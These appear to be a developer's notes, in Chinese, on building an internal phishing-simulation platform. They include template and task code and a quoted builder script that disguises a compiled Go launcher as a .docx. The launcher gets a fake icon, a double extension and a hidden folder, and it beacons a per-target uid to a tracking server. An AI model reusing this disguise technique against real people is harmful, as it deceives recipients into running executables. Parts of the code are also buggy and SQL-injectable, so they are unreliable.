附件看似没办法生成模版,因为要把每个目标的uid加入到附件中以识别中招人。
前两版需求的思路是,生成附件模版,然后在创建模版时导入附件,这样在创建和执行任务时直接把附件发送给目标即可。但是这样存在一个问题,什么时候向附件加入独一无二的uid标识?
导师的脚本思路是,提供源文件和图标,然后加"壳"后得到附件,然后把生成的附件发送到邮件服务器的队列。钓鱼网站监听请求,把中招记录入库,平台这边展示中招记录。
按照现有加"壳"脚本,生成附件时要指明图标、文件类型、源文件、目标uid。附件里面已经包含目标。
如果在创建模版的时候选择导入,那就导入源文件、选择文件类型、选择文件图标。(修改模版页面的前后端、数据库表格)(可以新建一个表格,把模版名作为主键)
在启动任务的时候,就可以获取uid列表,然后批量生成附件。把附件加入到邮件里。(修改任务页面的前后端)(从数据库里取出源文件、文件类型、文件图标,根据uid列表生成附件列表到指定目录,开始发送邮件)
发送一个邮件后,更新钓鱼记录。也需要新建一个表,添加几个字段,比如每个用户生成后的文件hash、文件名等。
生成本地附件的重命名和存储问题:(1)附件位置,uid/附件名,不会产生覆盖问题,但必须定时清理附件。(2)直接发送一个附件,再生成下一个附件,直接覆盖掉,解决附件清理的工作。
第一步,配置附件的源文件、
编辑 phishing_template.html,增加5个字段:源文件、附件名称、附件类型、附件图标、适配操作系统。
<hr>
<div>
<label>
选择源文件:
</label>
<br>
<SELECT name="sourceFile" onChange="document.x1.src=options[selectedIndex].value">
<option value="static/phishing_attachement/source_files/吴家豪简历.docx">吴家豪简历</option>
<option value="static/phishing_attachement/source_files/dark.png">夜</option>
</SELECT>
</div>
<div class="modal-body">
<div>
<label>
生成附件名称:
</label>
<input type="text" name="attachementName" class="didi-input">
</div>
<hr>
<div>
<label>
附件类型:
</label>
<br>
<select name="attachementType">
<option>pdf</option>
<option>docx</option>
</select>
</div>
<div>
<label>
附件图标:
</label>
<br>
<img width=320 height=240 src="static/phishing_attachement/icons/docx.jpg" name="x1">
<SELECT name="attachementIcon" onChange="document.x1.src=options[selectedIndex].value">
<option value="static/phishing_attachement/icons/docker.jpg">docker</option>
<option value="static/phishing_attachement/icons/dark.png">夜</option>
<option value="static/phishing_attachement/icons/docx.jpg">docx</option>
</SELECT>
</div>
<div>
<label>
目标操作系统:
</label>
<br>
<select name="targetOS">
<option>Windows</option>
<option>Mac</option>
</select>
</div>
编辑 phishing_template_create(req),接收5个字段,并插入到数据库表格。
# @cookie_check()
def phishing_template_create(req):
page, template_name, template_title, template_content, template_type, faker_sender, template_remark, str_attachment_list, source_file, attachement_name, attachement_type, attachement_icon, targetOS = request_parse(
req, "POST", "page", "templateName", "templateTitle", "templateContent", "templateType", "templateFakerSender",
"templateRemark", "templateAttachmentList", "sourceFile", "attachementName", "attachementType",
"attachementIcon", "targetOS")
# 参数处理
if page:
page = int(page)
else:
page = 0
template_name = template_name.encode("utf-8")
template_remark = template_remark.encode("utf-8")
template_title = template_title.encode("utf-8")
template_content = template_content.encode("utf-8")
template_type = template_type.encode("utf-8")
faker_sender = faker_sender.encode("utf-8")
str_attachment_list = str_attachment_list.encode("utf-8")
source_file = source_file.encode("utf-8")
attachement_name = attachement_name.encode("utf-8")
attachement_type = attachement_type.encode("utf-8")
attachement_icon = attachement_icon.encode("utf-8")
targetOS = targetOS.encode("utf-8")
attachment_list = re.split(r'(?:,|;|,|\r|\n)\s*', str_attachment_list)
template_id = pdao.insert_new_template(template_name, template_title, template_content, template_type, faker_sender,
template_remark, attachment_list)
pdao.insert_new_template_attachement(template_id, template_name, source_file, attachement_name, attachement_type,
attachement_icon, targetOS)
return redirect("/blueteam/phishing_template?page=0&searchKey=")
新建数据库插入函数。登陆数据库,新建 9 个字段的表格,以 id 作为主键。(不设置表格格式为 utf-8 的话,还要重新创建一次)
phishing_dao.py文件:
def insert_new_template_attachement(template_id, template_name, source_file, attachement_name, attachement_type, attachement_icon, target_os):
'''
模版的附件信息
:param template_id:模版id
:param template_name:模版名称
:param source_file: 附件源文件
:param attachement_name: 附件名称
:param attachement_type: 附件类型
:param attachement_icon:附件图标
:param targetOS: 附件适配操作系统
:return:
'''
source_file = source_file.split('/')[-1]
attachement_icon = attachement_icon.split('/')[-1]
sql_insert = 'INSERT INTO phishing_attachement(template_id, template_name, attachement_name, create_time, update_time,source_file, attachement_type, attachement_icon,' \
' target_os) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s);'
curr_time = ntime.ntime()
sql_val = [template_id, template_name, attachement_name, curr_time, curr_time, source_file, attachement_type, attachement_icon, target_os]
sql_helper = Mysql()
insert_result = sql_helper.insert_to_mysql(sql_insert, sql_val)
sql_helper.commit_to_mysql()
sql_helper.close_mysql()
if insert_result == "exists":
return -1
else:
return insert_result
mysql> create table phishing_attachement_info(
-> template_name varchar(50) primary key,
-> attachement_name varchar(50) not null,
-> create_time varchar(20) not null,
-> update_time varchar(20) not null,
-> source_file varchar(50) not null,
-> attachement_type varchar(20) not null,
-> attachement_icon varchar(20) not null,
-> targetOS varchar(20) not null)
-> default charset=utf8;
补充情况:创建的模版可以不用附件,相关配置信息即无需填写。
前端,在表单里定义一个勾选框
<div id="choose">
<input type="checkbox" id="enter" name="check_box"><label for="enter">是否添加附件</label>
</div>
后端:接收表单变量 check_box,
if check_box:
把附件信息插入数据库
phishing_dao.py 文件:
def delete_template_by_id(template_id):
"""
根据id删除模
:param template_id:
:return:
"""
template_name = get_template_name_by_id(template_id)
sql_delete = "DELETE FROM phishing_template WHERE id = %s;"
sql_helper = Mysql()
sql_helper.delete_to_mysql(sql_delete, (template_id,))
sql_helper.commit_to_mysql()
sql_delete = "DELETE FROM phishing_attachement_info WHERE template_name = %s;"
sql_helper.delete_to_mysql(sql_delete, (template_name,))
sql_helper.commit_to_mysql()
sql_helper.close_mysql()
return True
编辑查询数据库函数。编辑后台查询字段。编辑 phishing_template_index(req) 展示页,增加展示 5 个字段:attachement_name、source_file、attachement_type、attachement_icon、targetOS。
(1)phishing_template_index(req)不需要修改
(2)修改数据库查询函数:get_template_list_by_page(req_page, search_key, page_size=10)。
# 查询附件信息
sql_select_attachement = "SELECT * FROM phishing_attachement_info where template_name='{}'".format(_i[1].encode('utf8'))
_query_attachement = sql_helper.get_from_mysql(sql_select_attachement, search_key)
if _query_attachement:
data{
xxxxxx
"attachement_name": _query_attachement[0][1],
"source_file": _query_attachement[0][4].encode("utf8"),
"attachement_type": _query_attachement[0][5],
"attachement_icon": _query_attachement[0][6],
"targetOS": _query_attachement[0][7]
}
else:
data{
xxxxxx
"attachement_name": "",
"source_file": "",
"attachement_type": "",
"attachement_icon": "",
"targetOS": ""
}
(3)前端 phishing_template.html:修改 <!-- 模版列表展示部分 start -->
部分。
创建一个模版,不选择附件。
<div id="choose">
<input type="checkbox" id="enter" name="check_box"><label for="enter">是否添加附件</label>
</div>
创建模版时,如果要用附件,就建立附件的配置信息(已完成)
后端文件 phishing_view.py 的 phshing_task_create(req):创建任务时,选择项目和模版,此时根据选择的模版信息查询是否选择附件,如果选择附件,则根据项目的目标list逐个生成附件并发送。
phshing_task_create(req) 代码如下:
# @cookie_check()
def phishing_task_create(req):
"""
钓鱼任务创建,先通过项目获取需要发送的邮箱地址,再获取对应的钓鱼模版,然后装入队列
:param req:
:return:
"""
task_name, project_name, template_name, task_type = request_parse(req, "POST", "taskName", "projectName", "templateName", "taskType")
task_type = task_type.encode("utf-8") # SMTP 与 HTTP 发送邮件的方式,默认 SMTP
project_name = project_name.encode("utf-8")
template_name = template_name.encode("utf-8")
task_name = task_name.encode("utf-8")
username = req.COOKIES.get("_kylin_username", "")
task_status = PHISHING_TASK_STATUS.RUNNING
template = pdao.get_template_info_by_name(template_name)
project = pdao.get_project_info_by_name(project_name)
md5_id = md5(username + task_name + project_name + template_name)
result = pdao.insert_new_task(md5_id, username, task_name, project_name, template_name, task_status, task_type)
if result != -1:
# 插入成功后推入队列执行。
phishing_mq = phishing_mq_helper()
for target_email in project['target_list']:
target_email = target_email.replace('\r', '').replace('\n', '').replace(' ', '')
data = {
"md5": md5_id,
"project_id": project['id'],
"project_name": project_name,
"template_name": template_name,
"task_name": task_name,
"receive": target_email,
"title": template['template_title'],
"content": template['template_content'],
"send_type": task_type,
}
phishing_mq.produce_msg(json.dumps(data))
phishing_mq.close_channel()
phishing_mq.close_conn()
return redirect("/blueteam/phishing_task?page=0&searchKey=")
修改 phishing_dao.py 文件的 def get_template_info_by_name(template_name,增加对附件信息的查询。
def get_template_info_by_name(template_name):
sql_get_template = 'SELECT * FROM phishing_template WHERE template_name = %s;'
sql_helper = Mysql()
_query_result = sql_helper.get_from_mysql(sql_get_template, (template_name,))
sql_get_attachement = 'SELECT * FROM phishing_attachement_info WHERE template_name = %s;'
_query_attachement = sql_helper.get_from_mysql(sql_get_template, (template_name,))
sql_helper.close_mysql()
if _query_result:
if _query_attachement:
_result_att = _query_attachement[0]
_result = _query_result[0]
json_attachment_list = json.loads(_result[8])
template = {
"id": _result[0],
"template_name": _result[1],
"create_time": _result[2],
"update_time": _result[3],
"remark": _result[4],
"template_title": _result[5],
"template_content": _result[6],
"template_type": _result[7],
"attachment_list": json_attachment_list,
"faker_sender": _result[9],
"attachement_name": _result_att[1],
"source_file": _result_att[4],
"attachement_type": _result_att[5],
"attachement_icon": _result_att[6],
"targetOS": _result_att[7],
}
else:
_result_att = _query_attachement[0]
_result = _query_result[0]
json_attachment_list = json.loads(_result[8])
template = {
"id": _result[0],
"template_name": _result[1],
"create_time": _result[2],
"update_time": _result[3],
"remark": _result[4],
"template_title": _result[5],
"template_content": _result[6],
"template_type": _result[7],
"attachment_list": json_attachment_list,
"faker_sender": _result[9],
"attachement_name": "",
"source_file": "",
"attachement_type": "",
"attachement_icon": "",
"targetOS": ""
}
return template
修改查询到的模版信息后,在插入任务信息时,需要添加一个附件名,数据库操作函数是 pdao.insert_new_task() 。
附件名是已经插入好的,所以只需要在 task_index() 中展示即可。追踪数据库查询函数,追加附件名。修改前端 phishing_task.html ,在相应到的位置添加代码。进行功能测试,测试成功。
<th>附件名称</th>
<td>{{d.attachement_name}}</td>
目前创建任务、展示任务的代码已经完成,接下来该生成附件,然后把数据推入 队列 了。
数据库查询返回的 result ,是关于以列表为元素的列表
邮件发送成功后,在发送记录/钓鱼记录登陆,代码都有,只需要添加几个字段即可。
发送邮件成功,是要看邮件服务器,还是说发到队列里就算成功?
生成附件脚本,来自学长 @orleven 大师傅。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# @author: orleven
import os
import sys
import urllib
import zipfile
from PIL import Image
'''
需要安装PIL
需要安装go环境以及:
go get github.com/akavel/rsrc
go install github.com/akavel/rsrc
需要安装upx
'''
class OperatingSystem:
WIN = "win"
MAC = "mac"
class PhishingFile():
def __init__(self):
self.current_path = os.getcwd()
self.work_file_name = 'workpath'
self.template_file_name = 'template'
self.output_file_name = 'output'
self.folder_file_name = 'folder'
self.source_golang_file_name = "run.go" # 需要伪装的原始恶意启动程序文件代码
self.win_zip_tempalte_name = "win.zip"
self.mac_zip_tempalte_name = "mac.zip"
self.win_run_exe_file_name = "targetfile.exe"
self.mac_run_exe_file_name = "targetfile"
self.mac_run_lnk_tempalte_file_name = "targetfile.app" # 入口文件
self.temp_run_exe_name = "temp_exe_file"
self.upx = False # lnk方式
self.win_lnk = False # lnk方式
if self.win_lnk:
self.win_run_lnk_tempalte_file_name = "targetfile.lnk" # lnk方式
else:
self.win_run_lnk_tempalte_file_name = self.win_run_exe_file_name # 非lnk方式
def image_to_ico(self, input_png_path, output_ico_path=None):
if not output_ico_path:
intput_png_file_name = os.path.basename(input_png_path)
input_png_parrent_path = os.path.dirname(input_png_path)
input_png_file_name_without_suffix = intput_png_file_name[:intput_png_file_name.rindex('.')]
output_ico_path = os.path.join(input_png_parrent_path, input_png_file_name_without_suffix + '.ico')
image = Image.open(input_png_path)
new_logo_ico = image.resize((128, 128))
new_logo_ico.save(output_ico_path, format="ICO", quality=90)
return output_ico_path
def image_to_icns(self, input_png_path, output_ico_path=None):
if not output_ico_path:
intput_png_file_name = os.path.basename(input_png_path)
input_png_parrent_path = os.path.dirname(input_png_path)
input_png_file_name_without_suffix = intput_png_file_name[:intput_png_file_name.rindex('.')]
output_ico_path = os.path.join(input_png_parrent_path, input_png_file_name_without_suffix + '.icns')
image = Image.open(input_png_path)
if image.mode == "RGBA":
image = image.convert("RGB")
image.save(output_ico_path, format="ICNS")
return output_ico_path
def generate_win_ico(self, input_ico_path, output_ico_path=None):
icon_mainifest_code = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.0.0.0"
processorArchitecture="x86"
name="controls"
type="win32"
></assemblyIdentity>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="*"
publicKeyToken="6595b64144ccf1df"
language="*"
></assemblyIdentity>
</dependentAssembly>
</dependency>
</assembly>"""
if input_ico_path and os.path.exists(input_ico_path):
if not input_ico_path.endswith('.ico'):
temp_output_ico_path = output_ico_path
if output_ico_path and output_ico_path.endswith('.syso'):
temp_output_ico_path = output_ico_path[:-5] + '.ico'
input_ico_path = self.image_to_ico(input_ico_path, temp_output_ico_path)
ico_file_name = os.path.basename(input_ico_path)
input_ico_parrent_path = os.path.dirname(input_ico_path)
input_ico_file_name_without_suffix = ico_file_name[:ico_file_name.rindex('.')]
input_ico_manifest_path = os.path.join(input_ico_parrent_path, input_ico_file_name_without_suffix + '.manifest')
if output_ico_path:
if not output_ico_path.endswith('.syso'):
output_ico_path += '.syso'
else:
output_ico_path = os.path.join(input_ico_parrent_path, input_ico_file_name_without_suffix + '.syso')
with open(input_ico_manifest_path, 'wb') as f:
f.write(icon_mainifest_code)
os.system("$GOBIN/rsrc -manifest {input_ico_manifest_path} -ico {input_ico_path} -o {output_ico_path}".format(
input_ico_manifest_path=input_ico_manifest_path, input_ico_path=input_ico_path, output_ico_path=output_ico_path
))
if os.path.exists(output_ico_path):
return output_ico_path
else:
error = "command rsrc is not exist!"
else:
error = "{input_ico_path} is not exist!".format(input_ico_path=input_ico_path)
raise Exception(error)
def generate_mac_ico(self, input_ico_path, output_ico_path=None):
if input_ico_path and os.path.exists(input_ico_path):
output_ico_path = self.image_to_icns(input_ico_path, output_ico_path)
return output_ico_path
else:
error = "{input_ico_path} is not exist!".format(input_ico_path=input_ico_path)
raise Exception(error)
def generate_mac_plist_file(self, app_path, ico_path, main_exe_name):
plist_code = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>{main_exe_name}</string>
<key>CFBundleIconFile</key>
<string>{ico_name}</string>
<key>CFBundleIdentifier</key>
<string>com.360.www</string>
<key>NSHighResolutionCapable</key>
<true/>
<key>LSUIElement</key>
<true/>
</dict>
</plist>
"""
ico_name = os.path.basename(ico_path)
plist_code = plist_code.format(main_exe_name=main_exe_name, ico_name=ico_name)
app_plist_path = os.path.join(app_path, "Contents", "Info.plist")
app_ico_path = os.path.join(app_path, "Contents", "Resources", ico_name)
with open(app_plist_path, 'wb') as f:
f.write(plist_code)
with open(app_ico_path, 'wb') as f2, open(ico_path, 'rb') as f1:
f2.write(f1.read())
def generate_golang_code(self, golang_output_path, uuid, target_address, relative_source_file_path):
golang_code = """package main
import (
"net"
"os"
"os/exec"
"runtime"
"path/filepath"
)
const uuid = "{uuid}"
const targetAddress = "{target_address}"
const fileName = "{relative_source_file_path}"
func curlWeb(){
sysType := runtime.GOOS
postData := "uuid=" + uuid + "&mark="
for count := 2; count >= 0; {
addr, _ := net.ResolveTCPAddr("tcp", targetAddress)
conn, _ := net.DialTCP("tcp", nil, addr)
message := "GET /run_success?" + postData + " HTTP/1.1\\r\\n" +
"Host: " + targetAddress + "\\r\\n" +
"User-Agent: Go-BlueTeam-Phishing(" + sysType + ")\\r\\n" +
"Content-Type: application/x-www-form-urlencoded\\r\\n\\r\\n"
_, err := conn.Write([]byte(message))
if err == nil {
//response, _ := ioutil.ReadAll(conn)
//fmt.Println(string(response))
return
}
count -= 1
}
}
func openFile(){
sysType := runtime.GOOS
if sysType == "windows" {
mydir, _ := os.Getwd()
cmd := exec.Command("explorer", mydir + "\\\\" + fileName)
cmd.Start()
}else{
mydir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
cmd := exec.Command("open", mydir + "/" + fileName)
cmd.Start()
}
}
func main() {
openFile()
curlWeb()
}"""
golang_code = golang_code.replace("{target_address}", target_address). \
replace("{uuid}", uuid).replace("{relative_source_file_path}", relative_source_file_path)
with open(golang_output_path, 'wb') as f:
f.write(golang_code)
def test(self, source_normal_file_path, source_image_file_path, uuid, target_address, operating_system=OperatingSystem.WIN):
if operating_system not in [OperatingSystem.WIN, OperatingSystem.MAC]:
error = "Error operating system!"
raise Exception(error)
if os.path.exists(source_normal_file_path):
source_normal_file_name = os.path.basename(source_normal_file_path)
source_normal_file_name_without_suffix = source_normal_file_name[:source_normal_file_name.rindex('.')]
tempalte_parent_path = os.path.join(self.work_file_name, self.template_file_name) # 模版文件目录
tempalte_path = os.path.join(tempalte_parent_path, operating_system) # 样本附件输入的主要目录,win
zip_tempalte_path = os.path.join(tempalte_path, self.win_zip_tempalte_name) # 样本zip输入的主要目录,win
folder_tempalte_path = os.path.join(tempalte_path, self.folder_file_name) # 样本zip输入的主要目录,win
output_public_parent_path = os.path.join(self.work_file_name, self.output_file_name) # 模版文件目录
output_parent_path = os.path.join(output_public_parent_path, uuid) # 恶意附件输出目录
zip_output_file_name = source_normal_file_name_without_suffix + '.zip'
output_path = os.path.join(output_parent_path, operating_system) # 恶意附件输出的主要目录,win
zip_output_path = os.path.join(output_path, zip_output_file_name)
folder_output_path = os.path.join(output_path, self.folder_file_name)
os.path.join(folder_output_path, "targetfile.exe")
if operating_system == OperatingSystem.WIN:
lnk_src_output_path = os.path.join(folder_output_path, self.win_run_lnk_tempalte_file_name)
zip_normal_path = os.path.join("__MACOSX", ".DOCX", source_normal_file_name)
relative_source_file_path = "__MACOSX\\\\.DOCX\\\\" + source_normal_file_name # go代码中 Win 运行正常文件路径
# 双后缀名称xxx.docx. .exe
if not self.win_lnk:
zip_run_exe_path = os.path.join(self.win_run_exe_file_name)
dobble_suffix_file_name = source_normal_file_name + ' '
lnk_dst_output_path = os.path.join(folder_output_path, dobble_suffix_file_name + '.exe')
else:
zip_run_exe_path = os.path.join("__MACOSX", ".DOCX", self.win_run_exe_file_name) # 快捷方式被拦截
lnk_dst_output_path = os.path.join(folder_output_path, source_normal_file_name_without_suffix + '.lnk')
else:
zip_run_exe_path = os.path.join(self.mac_run_lnk_tempalte_file_name, "Contents", "MacOS", self.mac_run_exe_file_name)
lnk_src_output_path = os.path.join(folder_output_path, self.mac_run_lnk_tempalte_file_name)
zip_normal_path = os.path.join(self.mac_run_lnk_tempalte_file_name, "Contents", "MacOS", source_normal_file_name)
relative_source_file_path = source_normal_file_name # go代码中 mac 运行正常文件路径
lnk_dst_output_path = os.path.join(folder_output_path, source_normal_file_name_without_suffix + '.app')
# 初始化output目录
if os.path.exists(output_parent_path):
os.system('rm -fr {output_parent_path}'.format(output_parent_path=output_parent_path))
if not os.path.exists(output_path):
os.makedirs(output_path)
# 复制基本的文件
if os.path.exists(folder_tempalte_path):
os.system("cp -Ra {folder_tempalte_path} {output_path}".format(
folder_tempalte_path=folder_tempalte_path, output_path=output_path))
# 复制特殊基础文件,例如win的隐藏文件夹属性, 需要预先构造,并打包成win.zip
if os.path.exists(zip_tempalte_path):
os.system("cp -Ra {zip_tempalte_path} {zip_output_path}".format(
zip_tempalte_path=zip_tempalte_path, zip_output_path=zip_output_path))
# 复制正常的docx文件
normal_output_path = os.path.join(folder_output_path, zip_normal_path)
if os.path.exists(source_normal_file_path):
os.system("cp -Ra {source_normal_file_path} {normal_output_path}".format(
source_normal_file_path=source_normal_file_path, normal_output_path=normal_output_path))
output_ico_name = os.path.basename(source_image_file_path)
output_ico_name_without_suffix = output_ico_name[:output_ico_name.rindex('.')]
run_exe_output_path = os.path.join(self.folder_file_name, zip_run_exe_path)
golang_output_path = os.path.join(output_path, self.source_golang_file_name) # go代码输出路径
if operating_system == OperatingSystem.WIN:
# 生成图标
output_ico_path = os.path.join(output_path, output_ico_name_without_suffix + '.syso')
self.generate_win_ico(source_image_file_path, output_ico_path)
compile_cmd = "cd {output_path} && CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags '-s -w -H=windowsgui -extldflags \"-static\"' -o \"{temp_run_exe_name}\"".format(
temp_run_exe_name=self.temp_run_exe_name,
output_path=output_path)
else:
# 生成图标
output_ico_path = os.path.join(output_path, output_ico_name_without_suffix + '.icns')
self.generate_mac_ico(source_image_file_path, output_ico_path)
app_path = lnk_src_output_path
main_exe_name = self.mac_run_exe_file_name
self.generate_mac_plist_file(app_path, output_ico_path, main_exe_name)
compile_cmd = "cd {output_path} && CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -trimpath -ldflags '-s -w -extldflags \"-static\"' -o \"{temp_run_exe_name}\"".format(
temp_run_exe_name=self.temp_run_exe_name, output_path=output_path)
# 输出go代码
self.generate_golang_code(golang_output_path, uuid, target_address, relative_source_file_path )
# 编译启动器
os.system(compile_cmd)
if self.upx:
upx_cmd = "cd {output_path} && upx -9 -o \"{run_exe_output_path}\" \"{temp_run_exe_name}\"".format(
run_exe_output_path=run_exe_output_path, output_path=output_path, temp_run_exe_name=self.temp_run_exe_name
)
os.system(upx_cmd)
else:
# 移动到目标文件夹下
cmd = "cd {output_path} && cp {temp_run_exe_name} \"{run_exe_output_path}\"".format(
output_path=output_path, temp_run_exe_name=self.temp_run_exe_name, run_exe_output_path=run_exe_output_path)
os.system(cmd)
# 修改lnk文件
if os.path.exists(lnk_src_output_path):
os.rename(lnk_src_output_path, lnk_dst_output_path)
# 写入zip文件
if os.path.exists(zip_output_path):
zip_file = zipfile.ZipFile(zip_output_path, mode='a')
else:
zip_file = zipfile.ZipFile(zip_output_path, mode='w')
for path, dirnames, filenames in os.walk(folder_output_path):
fpath = path.replace(folder_output_path, '')
for filename in filenames:
if not self.win_lnk and filename.endswith('.lnk'):
continue
elif filename.endswith('.DS_Store'):
continue
zip_file.write(os.path.join(path, filename), os.path.join(fpath, filename))
zip_file.close()
return zip_output_path
error = "Error source normal file suffix!"
raise Exception(error)
if __name__ == "__main__":
pf = PhishingFile()
uuid = "1D6p7=dGVzdEBkaWRpY2h1eGluZy5jb20="
target_address = "me.didichuxing.cc:80"
source_image_file_path = "/Users/didi/Product/phishing/Phishing_Client/workpath/template/docx.jpg" # 图标
source_normal_file_path = "/Users/didi/Product/phishing/Phishing_Client/workpath/template/吴家豪简历.docx" # 原始文件。不修改文件类型
operating_system = OperatingSystem.MAC # 适配系统
zip_output_path = pf.test(source_normal_file_path, source_image_file_path, uuid, target_address, operating_system=operating_system)
print(zip_output_path)
# 输入.docx
1.创建页:后端phishing_template_create():删除attachementType、attachementName。
相应前端 phishing_template.html,删除两个字段的div。
数据库 insert_new_template_attachement(),删除两个字段。
连接数据库, 删除表,新建表。
mysql> create table phishing_attachement_info(
-> template_name varchar(50) primary key,
-> source_file varchar(50) not null,
-> create_time varchar(20) not null,
-> update_time varchar(20) not null,
-> attachement_icon varchar(20) not null,
-> targetOS varchar(20) not null)
-> default charset=utf8;
2.展示页:
后端 数据库get_template_list_by_page(),修改查询字段。
前端 phishing_template.html,修改展示字段。
3.流程分析:
后端phishing_view.py文件,推入队列:phishing_mq = phishing_mq_helper()。
区分是否使用附件的依据:是否为空。
消费队列 blueteam_phishing_agent.py文件,调用添加一个字段send_email(, attachement_path)
发送邮件 lib.phishing_email.py文件,给send_email添加一个字段,给send_email_by_http、send_email_by_smtp各添加一个字段。
为了区分是否带附件的邮件,创建一个新的函数:send_email_by_smtp_attachement(receive, title, text, attachement_path)。
4.更新测试:
更新 blueteam_phishing_agent.py,消费队列
更新 phishing_email.py,发送邮件
其他:
创建虚拟环境,
进入虚拟环境:source blueteam_virtualenv/bin/activate
退出虚拟环境:deactivate。
后面还有两天编程和测试的工作量,没有及时做记录,完。